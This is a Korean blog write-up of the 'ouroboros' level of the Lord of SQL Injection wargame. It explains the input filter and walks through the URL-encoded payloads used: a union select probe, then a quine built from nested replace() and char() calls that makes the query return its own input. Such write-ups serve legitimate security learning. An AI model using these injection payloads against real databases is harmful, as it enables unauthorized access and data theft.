ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> ouroboros
    Wargame/Lord of SQL Injection 2021. 12. 3. 13:08

    ouroboros

    GET 방식으로 전달받은 pw에서 prob, _, ., rol, up, join, @를 필터링한다.

    이 pw를 사용한 쿼리의 결과를 배열로 가져온 뒤, pw에 값이 참이면 pw를 출력한다.

    그리고 결과 배열의 pw와 전달받은 pw가 갑과 타입 모두 같아야 문제가 풀린다.

     

    먼저, ?pw=' or 1=1%23을 입력하면

    아무것도 출력하지 않는다. 이를 통해 prob_ouroboros 테이블이 비어있음을 짐작할 수 있다.

     

    union을 사용해

    ?pw=' union select 1%23을 입력하면

    Pw : 1을 출력한다.

     

    ?pw=' union select 1%23을 입력했는데 $result['pw']는 1이 되었다.

    $_GET['pw']에 해당하는 부분인 'union select 1%23 구문을

    $result['pw']에서도 똑같이 출력하면 문제가 풀릴 듯 하다.

     

     

    Quine

    입력없이 자기 자신의 소스 코드를 출력하는 프로그램이다.

    Quine의 개념을 이 문제에 적용하면

    'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23

     

    ?pw='union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),

    char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23를 입력하면

    입력한 코드가 그대로 출력되어 문제가 해결된다.

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> alien  (0) 2021.12.06
    <Lord of SQL Injection> zombie  (0) 2021.12.05
    <Lord of SQL Injection> phantom  (0) 2021.12.02
    <Lord of SQL Injection> frankenstein  (0) 2021.12.01
    <Lord of SQL Injection> blue dragon  (0) 2021.11.29
Designed by Tistory.